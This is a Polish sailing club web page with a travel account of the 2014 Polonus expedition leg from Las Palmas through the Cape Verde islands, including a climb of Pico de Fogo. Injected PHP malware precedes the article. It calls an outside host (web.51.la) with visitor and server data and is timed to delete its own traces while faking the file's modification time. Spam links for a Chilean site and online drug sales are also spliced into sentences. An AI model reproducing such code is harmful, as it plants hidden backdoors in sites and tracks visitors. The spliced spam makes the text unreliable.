check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456727466){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_content/helpers/helpers.php"); } III etap wyprawy s/y Polonus kpt. Witek Małecki

Prezentujemy relację autorstwa Justyny Małeckiej z III-ego etapu Wyprawy Shackelton 2014, prowadzonego przez kpt. Witka Małeckiego.

Serdecznie zapraszamy!

fot. Justyna Małecka

fot. Leszek Kordys

 

 

Relację z rejsu napisała Justyna Małecka

Autorami zdjęć są:

Grzegorz Kordys

Justyna Małecka

Paweł Zielonka

 

Relacja

2 września 2014 - jesteśmy w samolocie - lecimy na Grand Canarię. Na wysokości 10tys metrów odkrywamy, że w samolocie jest WiFi. Znajdujemy Polonusa na www.vesselfinder.com/pl - widać nawet przy której kei stoi. Kiedy samolot podchodzi do lądowania w Las Palmas widzimy port jak na dłoni, a w nim czekający na nas jacht. Jest piękna pogoda, a my czujemy zapach przygody.


Pierwszy dzień jak zwykle gospodarczy. Witek z Maciejem odbierają jacht a ja wraz z resztą załogi wybieram się z misją do marketu. Prowiant na rejsie rzecz niebagatelna- dlatego każdy swoją działkę traktuje bardzo odpowiedzialnie. W efekcie końcowym udaje nam się wprawić w zdumienie obsługę marketu- chyba zrobiliśmy im miesięczny obrót. Zajmuje się nami 5 osób ważąc, kasując, pakując do pojemników zbiorczych. Sami zaproponowali dowóz zakupów do mariny - wystarczyło im podać adres. Z tym był pewien kłopot bo angielski nie działał, ale od czego google maps, niezawodny Zielak i zdjęcia Polonusa wraz z keją, przy której stoi- na szczęście je zrobiłam. Wydaliśmy całą wspólną kasę, którą utworzyliśmy chwilę wcześniej, więc z poczuciem dobrze wypełnionego obowiązku udajemy się na jacht.
Polonus jest już do naszej dyspozycji. Przekazanie odbyło się bardzo sprawnie - bo nie pierwszy raz płyniemy na Polonusie. Były już Lofoty, Spitsbergen, Szwecja - znamy się więc jak starzy znajomi. Rozpakowujemy zatem bagaże i rozgaszczamy na kojach. Korzystam z przywilejów żony kapitana i przyjmuję propozycję mieszkania na rufie w towarzystwie kapitana, bosmana i tamaryszka.
Potem jeszcze tylko trochę porządków, rozpakowywanie i ształowanie zakupów, mała integracja załogi i tym oto sposobem około godziny 19tej jesteśmy gotowi do opuszczenia Las Palmas. Żegnaj Hiszpanio, witaj przygodo.

Przed nami tygodniowa podróż przez ocean. Zaczynam świtówką. Zazwyczaj wachta od 4.00-8.00 rano nie jest zbyt przyjemna. Tym razem jednak jest inaczej. Jest ciepło, jasno - bo świeci piękny księżyc, płyniemy baksztagiem, wieje przyjemna trójka, a o 7.30 wita nas przepiękny wschód słońca. Jest bosko. Myślę sobie - oby cały przelot na Wyspy Zielonego Przylądka był taki i.... moje życzenie spełnia się.
Wszyscy po trochu obawialiśmy się tego pierwszego tygodnia. Wielu z nas nigdy nie spędziło na morzu więcej niż 2,3 doby. Nie wiedzieliśmy zatem jak to www.amigosdeltren.cl jest. Obawialiśmy się o pogodę, o możliwości naszych organizmów, o atmosferę na jachcie i pewnie o jeszcze kilka innych spraw. Nikt jednak głośno tych obaw nie wyrażał. I dobrze, bo jest pięknie. Neptun bardzo łaskawy ( być może smakował mu poczęstunek?) stopniowo dokłada kolejne stopnie Beauforta, pozwalając naszym organizmom przyzwyczaić się do bujania. Choroba morska dotyczy zatem tylko niektórych i tylko czasem. Przez pierwsze 3 dni fala na oceanie przypomina bardziej falę morską. Krótka i niezbyt stroma huśta w granicach przyzwoitości. Dopiero czwartego dnia wydłuża się do rozmiarów prawdziwej fali oceanicznej. Chłopacy oczywiście skwapliwie z tego korzystają i kąpią się w jej lazurowej toni- kolor wody jest bajeczny. Wachty i godziny posiłków układają nasze dni na morzu w bezpieczny rytuał. Jest czas na wszystko: na pracę, integrację i wypoczynek, czas mija więc w przyjemnej atmosferze. Jest coraz cieplej. Nawet na nocną wachtę wystarczają krótkie spodenki i T-shirt. Kiedy w nocy zalewa mnie całą wyjątkowo niesforna fala nie idę się przebrać. Bo i po co? Woda jest ciepła, a i tak zaraz wyschnę.

Nasz prywatny spinaker ciągnie jak smok bo sprzyjający pasat dmucha niezmiennie od rufy - trwa więc jachtowa sielanka. Wachta kambuzowa co dzień zaskakuje nas pysznościami, a ocean odkrywa swoje tajemnice każdego dnia przysyłając nam innego gościa. Tym sposobem odwiedza nas stado czarnych delfinów, wieloryb, a żółw przepływający obok na plecach macha nam płetwą. Hitem jednak są latające ryby. Jest ich masa. Całymi ławicami wyskakują z wody (robią to wtedy kiedy coś większego chce je pożreć) i jak srebrne pociski wbijają się w koleją falę. Nie pikują w dół, jak nurkujące ptaki, lecą prosto, aż napotkają ścianę wody i wbijają się w nią. Niesamowicie to wygląda. Nocą chyba tracą orientację, albo lgną do światła bo wskakują nam na jacht. Pierwsza pacnęła mnie w ucho jak stałam za sterem. Potem były następne. Najpierw chcieliśmy je zjeść- podobno na Barbados są przysmakiem- ale rezygnujemy z tego zamiaru i wrzucamy je do wody.
Pęknięty fał spinakera, wciąganie Witka na maszt na rozhuśtanym oceanie, szycie grota - to przygody, które urozmaicały nam czas. Nota bene Witek ubrany w poduszkę, kapok i grubą wełnianą czapkę wyglądał jak uczestnik wyprawy Shackleton sprzed 100lat. Jest sielankowo, więc w końcu udaje mi się doprosić o hamak. Chłopacy robią użytek z foka sztormowego i rozpinają go pomiędzy masztami. W ten sposób powstaje nasz dodatkowy pokój, w którym każdy może zaznać odrobiny intymności. Bujanie w nim jest naprawdę mega relaksujące.
Tak właśnie wyglądały nasze „Dni Świstaka". Codziennie woda po horyzont, niezmienny kierunek wiatru, codziennie ten sam kurs, żadnych statków, żadnych jachtów, nic tylko woda, jacht i my.

Fotografie Grzegorza Kordysa

fot. Leszek Kordysfot. Leszek Kordysfot. Leszek Kordys


Po 6,5 dobach żeglugi docieramy do Mindelo na wyspie Sao Vicente. Tutaj znajduje się jedyna marina na całym archipelagu, a my potrzebujemy zatankować wodę i marzymy o prysznicu bez tych karkołomnych akrobacji, które trzeba wykonać w kingstonie Polonusa!
Pierwsze wrażenie? ...... szaro.... jakoś. Cabo Verde – Wyspy Zielonego Przylądka- spodziewaliśmy się więc zobaczyć zielone, a tutaj plaże i skały wulkanicznego pochodzenia, w które wmontowane jest miasto. Im bliżej jednak tym lepiej wygląda. Po panowaniu Portugalczyków pozostały kolorowe budynki w stylu kolonialnym- bardzo malownicze balkony z ozdobnymi tralkami, ozdobne wykusze w drewnianej oprawie, wąskie uliczki. Ładnie, mimo że lata świetności minęły jakiś czas temu.
Generalnie bardzo pozytywnie. Ludzie przyjaźnie nastawieni i pomocni: od pracowników mariny poprzez policjantów „Policia Maritime", na której mamy obowiązek się zameldować, sprzedawców w sklepie, po przypadkowo spotkanych przechodniów. Kolorowo ubrani, uśmiechnięci żyją wg zasady no stress- to widać i to się nam udziela! Mindelo to miasto, w którym urodziła się Cesaria Evora. To widać i słychać bo z niejednego mieszkania płynie muzyka.
Odwiedzamy kolorowy targ warzywno-owocowy i niesamowity targ rybny, który przylega do nabrzeża gdzie przybijają łodzie rybackie, a ryby prosto z kutrów są transportowane taczkami na targ. Tuńczyki wielkości człowieka, czerwone garoupy, kalmary, ośmiorniczki w wielkich misach i wąsate langusty: to się dopiero nazywa mieć świeże owoce morza. Czym prędzej zaopatrujemy się w te pyszności- zrobimy sobie jutro ucztę na wodzie. Tymczasem, korzystając z pobytu na lądzie, idziemy do baaardzo lokalnej restauracji spróbować słynnej catchupy. Hmmm, punktów za estetykę dania nie dałabym, ale smakowo ciekawe: gotowana cieciorka, z kawałkami mięsa lub ryby (podana w postaci gulaszu) z jajkiem sadzonym i kawałkami kiełbasek. Brzmi średnio, wygląda jeszcze gorzej ale zazwyczaj jest dobre i bardzo sycące. To ich flagowa potrawa, którą uwaga! jedzą na śniadanie. Najedzeni zwiedzamy miasto, które przy bliższym poznaniu tylko zyskuje na urodzie.
Jutro wyruszamy dalej - kolejna wyspa na naszym szlaku to Sao Nicolau. Zgodnie z tym co napisano w locji pomiędzy wyspami Sao Vincente i Santo Antao panuje przeciąg. Wieje tam nadspodziewanie mocno i do tego musimy się podhalsować., Co chwilę witamy więc kolejną falę na pokładzie ale Polonus to lubi a i nam się podoba. Jak tylko wypływamy za wyspę zabawa się kończy i znowu mamy przyjemną czwórkę. Z cumowaniem przy Sao Nicolau nie jest łatwo. Portu brak, jest tylko otwarta zatoka. Z gór schodzą co chwilę podmuchy o sile 30-50 węzłów a kotwica nie chce trzymać. Winda kotwiczna nie działa; chłopacy najpierw w dwóch, potem w trzech a na końcu w czterech wyciągają ręcznie 40 metrów łańcucha kotwicznego.... i tak z 5 razy bo kotwica, a nawet dwie w dole, a wiatr nas wypycha na morze. W końcu, dzięki życzliwości lokalnych rybaków cumujemy przy prywatnej boi i wtedy wiatr się uspokaja. Płyniemy pontonem na brzeg, czym budzimy spore poruszenie wśród lokalnych mieszkańców. Mamy tylu pomocników, że nie wiemy co z nimi począć- nawet spierają się do kogo należymy . Każdy chce nam pomóc- widać turysta jest tutaj obiektem pożądania. W końcu opłacamy zacumowanie pontonu na boi, pilnowanie go do czasu naszego powrotu, usługi informatora, aluguera (tutejsze wieloosobowe taxi) i jedziemy na podbój wyspy. Sao Nicolau - podejrzewałam, że to letnia rezydencja św.Mikołaja, ale jednak nie. Wyspa wygląda raczej jak kraina Hobbitów, szara i wysuszona przy brzegu rozkwita zielenią w wyższych partiach. Fundujemy sobie 4 godzinny trekking w góry: trochę wysiłku fizycznego, to miła odmiana po tylu dniach bezruchu na jachcie. Wspinamy się, im wyżej tym bardziej jest zielono, wszędzie bananowce, eukaliptusy i dziko rosnące drzewa z owocami mango- to mangowce chyba? Sporo też charakterystycznych dla wysp smokowców- to nasza doniczkowa dracena tylko gigantycznych rozmiarów. Jej szary, porowaty pień faktycznie przypomina skórę smoka.
Wieczorem mamy okazję posłuchać lokalnych zespołów muzycznych i wszechobecnej muzyki morna. Mam wrażenie, że tutaj śpiewają wszyscy. Co chwilę ktoś inny sięga po mikrofon, wyciąga instrument i dodaje parę dźwięków od siebie. Wszyscy przy tym dobrze się bawią, a my wtapiamy się w ten leniwy sobotni wieczór i sączymy miejscowy grog jak wszyscy.
Niedziela - oj poranek ciężki ... miejscowy grog okazał się zdradliwy. Nic to! Lecimy na Bravę i Fogo- doba żeglugi przed nami. Furna - malutka wioska zagubiona na brzegu wyspy Brava. Z niej najbardziej pamiętam ludzi. W locji wyczytaliśmy, że mieszka tam niejaki Bruce, który pomaga cumować każdej jednostce. Okazuje się, że co prawda Bruce ma inaczej na imię, ale cumuje nas profesjonalnie do betonowego bloku zatopionego na dnie a także pieszo wywozi naszą cumę rufową na brzeg.. Cała wioska bardzo życzliwie nas przyjmuje. Dzieci mają ogromną radość z pływania wokół, pod i na naszym pontonie. Czy ma to sens czy nie, pchają go i ciągną równocześnie, wdrapują się do środka, wiosłują i przepychają. Robią co mogą aby nas wywrócić, a radość mają z tego ogromną. Wieczorem idziemy z gitarą do jedynego w wiosce lokalu- wszyscy już tam są. Siadamy na ulicy, po której nic nie jeździ bo nie ma dokąd. Dorośli w małych grupkach siedzą na murkach, dzieci biegają omijając leżące na środku jezdni psy i kury. My w lokalu gdzie rządzi Mamma najpierw śpiewamy szanty, a potem tańczymy do lokalnej muzyki za co dostajemy gromkie brawa. Brava - najmniejsza z wysp archipelagu, wyspa kwiatów i pożegnań. Żegnamy się i my i płyniemy na pobliską wyspę Fogo z czynnym wulkanem.
Fogo robi niesamowite wrażenie- zielona na obrzeżach wspina się ku środkowi przekształcając w wulkan. To tutaj jest najwyższy szczyt archipelagu- wulkan Pico de Fogo, który liczy sobie 2829 m.n.p.m. Zdobycie go to nasz cel na dzisiejszy dzień. Jedziemy aluguerem, który jest tym razem wyjątkowy- robi wrażenie, że zapomniał o nas i wiraże bierze z zawrotną prędkością. Dobrze, że się owinęłam wokół rury- udało mi się nie spaść. W Sao Filippe wynajmujemy przewodnika- bez niego wejście na wulkan jest niemożliwe- i jedziemy przez księżycowy krajobraz do wioski Cha Das Caldeiras skąd wyruszamy na trasę. Najpierw droga wiedzie przez ubity żużel, potem krajobraz się zmienia. Im wyżej tym trudniej. Twarda żużlowa droga zamienia się w pustynię, wszędzie sypki tuf wulkaniczny utworzony z malutkich pumeksowych kuleczek, w których grzęzną stopy. Jose prowadzi nas w kierunku skalnych ścian. Nie ma wytyczonej ścieżki, nie ma strzałek i oznakowanego szlaku. Jak okiem sięgnąć wulkaniczna pustynia- już wiemy dlaczego przewodnik był niezbędny. To on mówi nam, które kamienie się nie ruszają, gdzie postawić stopę i na których skałach się nie opierać. 3,5 godziny żmudnej wspinaczki wysokogórskiej i wreszcie nagroda- jesteśmy na szczycie!
Pico de Fogo - czynny wulkan, potęga natury. Z wnętrza śmierdzi siarką, bulgocze i dymi. Niesamowity widok. Jose pokazuje nam swoją wioskę, a raczej jej mizerne resztki. Wulkan pochłonął ją podczas erupcji w 1995 roku. Jak okiem sięgnąć pustynia wulkaniczna- wszędzie czarny, szary albo czerwony tuf językami schodzi w dół. Warto było tutaj się wspiąć - wrażenia są nieprawdopodobne- czujemy się jak w krainie Mordoru. Droga powrotna z początku bardzo trudna zamienia się po chwili w przygodę. Kiedy nie ma już skał, które stanowiły podporę dla stóp, Jose mówi: - No to biegniemy- ścigajmy się! - ... i poszusował w dół biegnąc zakosami, jakby jechał na nartach. No cóż spróbujmy - każdy po swojemu i mamy z tego niezły ubaw. Po każdym skoku stopy grzęzną w żużlu powyżej kostek, każdy krok to purchase diovan online services ślizg na pół metra, pumeks wsypuje nam się do butów i skarpetek, za nami tumany pyłu, ale im dalej tym większa radość. Było to niesamowite przeżycie. To co wchodziliśmy przez 3,5 godziny teraz zbiegliśmy w ciągu 45 minut. Na dole przechodzimy przez zalaną magmą wioskę. Przyroda odradza się z trudem, ale widzimy jabłonki z maleńkimi i nadspodziewanie smacznymi jabłkami, rośnie kawa i rodzynki na krzaku. Serio! Jest tak sucho, że winogrona jeszcze na drzewku zamieniają się w rodzynki. Dookoła krajobraz księżycowy, a pomiędzy tym pojedyncze domki, dzieci się bawią, krowa mieszka pod daszkiem z brezentu, kobiety niosą wodę- toczy się życie. Mimo, że wulkan jest czynny i niepewna jest przyszłość ludzie nie opuszczają tego miejsca.
Patrząc na wulkan w promieniach zachodzącego słońca mamy wrażenie, że płonie. Jest piękny i zarazem groźny. Syci wrażeń wracamy na jacht. Jutro płyniemy dalej.

Fotografie Justyny Małeckiej

fot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot.Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małeckafot. Justyna Małecka

 

Santiago wita nas prażącym słońcem. Nie wieje i upał potęgowany przez wysoką wilgotność powietrza jest trudny do wytrzymania. Prysznice z wiaderka na deku pomagają tylko na chwilę. Cumujemy przy Cidade Velha co oznacza dosłownie Stare Miasto. To pierwsza osada, jaką Portugalczycy założyli w Afryce. Na wzgórzu ruiny katedry, a na placu gdzie kiedyś sprzedawano niewolników teraz sprzedaje się pamiątki. Upał nie pozwala na dłuższe zwiedzanie. Chwilę odpoczywamy w cieniu palm i ruszamy w dalszą drogę do Praia- stolicy Cabo Verde, gdzie kończymy nasz rejs. Przypływamy do portu handlowo-rybackiego. Betonowa keja zarezerwowana jest dla promów stajemy więc przy pomoście przy stacji benzynowej. Znów mamy mnóstwo pomocników- tym razem jednak bardziej nachalnych. Szybko okazuje się jednak, że rządzi tam Georgi, który nie skończył co prawda żadnej szkoły ale mówi po francusku i angielsku. Naturalnie staje się natychmiast naszym przyjacielem. Paliwo tankujemy bez przeszkód, za to w asyście przedstawiciela urzędu skarbowego- pilnuje żeby faktycznie trafiło na jacht bo jest tańsze o podatki. Kłopot mamy z wodą. Na brzegu brak hydrantów, ale Georgi mówi, że przywiezie wodę. Bierze zaliczkę na taksówkę (!), mówi, że wróci za pół godziny i nie ma go przez .... 3 godziny. No stress Kiedy tracimy już nadzieję, pojawia się w towarzystwie dostawczaka z 3ma 500 litrowymi baniakami z wodą. Tankowanie to też niezła przygoda, bo dysponują tylko wężem strażackim bez żadnego mechanizmu regulującego ciśnienie płynącej wody. Trochę zatem się rozlało, ale generalnie pełen sukces. Zadowoleni przestawiamy się na boję. To nasza ostatnia noc na Polonusie.
Następnego dnia klarujemy jacht i przekazujemy go następnej załodze. Chłopaki płyną przez ocean do Brazylii. Kolejny etap wyprawy Shackletona jest dłuższy - będzie trwał aż 27 dni. No cóż, pozostaje nam życzyć powodzenia i śledzić wiadomości w Internecie. Zostawiamy jacht, ale nie opuszczamy jeszcze Wysp Zielonego Przylądka. W planach mamy jeszcze zwiedzenie wyspy Santo Antao - podobno najbardziej zielonej i górzystej. Brzmi obiecująco.
Z Praia lecimy wewnętrznymi liniami do Mindelo, a stamtąd promem na Santo Antao. Santo Antao robi na mnie największe wrażenie- to wyspa raj, zielona, górzysta i wilgotna jak dżungla. Życie tutaj z jednej strony łatwe, bo banany i trzcina cukrowa rosną w wielkiej obfitości, z drugiej bardzo trudne bo ziemie uprawne trzeba wydzierać naturze na zboczach gór. Na wysokości ok 1000m, gdzie samo wspięcie się wymaga wysiłku, widzimy tarasowo położone pola uprawne- każde z nich ma maksymalnie 1,5m do 2m szerokości sic! I ciągnie się na wzdłuż zbocza góry. Taki skalniak w makro skali. Wygląda to bardzo malowniczo: na jednym tarasie kapusta, na drugim bataty, trzcina cukrowa lub marchewka. Ludzie szanują tutaj każdy pęczek pietruszki bo wyhodowanie go kosztuje wiele trudu. Santo Antao to przepiękne górskie szlaki, skaliste, bardzo wysokie klify, bardzo przyjaźni ludzie i widoki zapierające dech w piersiach. To też wyspa kontrastów: od pełnej cywilizacji i drinków z palemką po miejsca bez zasięgu sieci komórkowych, które można śmiało nazwać końcem świata, gdzie ludzie nie potrafią czytać. 3 dni w tym raju minęły bardzo szybko.
Zaczynamy wracać - najpierw prom na Sao Vicente, jeszcze jeden muzyczny wieczór w Mindelo i lecimy na Sal, gdzie znajduje się jedyne lotnisko międzynarodowe. Z tego właśnie powodu Sal jest odwiedzane najczęściej przez turystów i często jest to jedyna wyspa, którą widzą- i to jest błąd. Sal bowiem jest zupełnie płaską i co tu dużo mówić, najmniej ciekawą wyspą. Jedyną jej zaletą są szerokie plaże z białym piaskiem, wiatr i dobre warunki dla surferów i nurkowania. Poza tym jednak wyspa nie zachwyca- szaro, buro, pusto. Zarówno przyrodniczo jak i architektonicznie nieciekawie. My jednak widzieliśmy więcej niż tylko pustynne Sal i wiemy, że na Wyspach Zielonego Przylądka jest pięknie, egzotycznie, różnorodnie, przyjaźnie, prawdziwie i mało turystycznie jak dotąd. Zdecydowanie warto je odwiedzić.
Cabo Verde dziękujemy. Zostawiamy tutaj kawałek serca i zabieramy ze sobą piękne wspomnienia.

Justyna Małecka

 

Skład załogi to przede wszystkim byli członkowie Klubu Żeglarskiego Politechniki Poznańskiej:
Witek Małecki- kapitan
Justyna Małecka
Maciej Odważny
Agnieszka Jankowska
Paweł Zielonka
Tadziu Gryszczyński
wsparci dodatkowo przez
Grześka Kordysa

 

Fotografie Pawła Zielonki

fot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonkafot. Paweł Zielonka

 

Poprawiony (Poniedziałek, 03 Listopad 2014 08:59)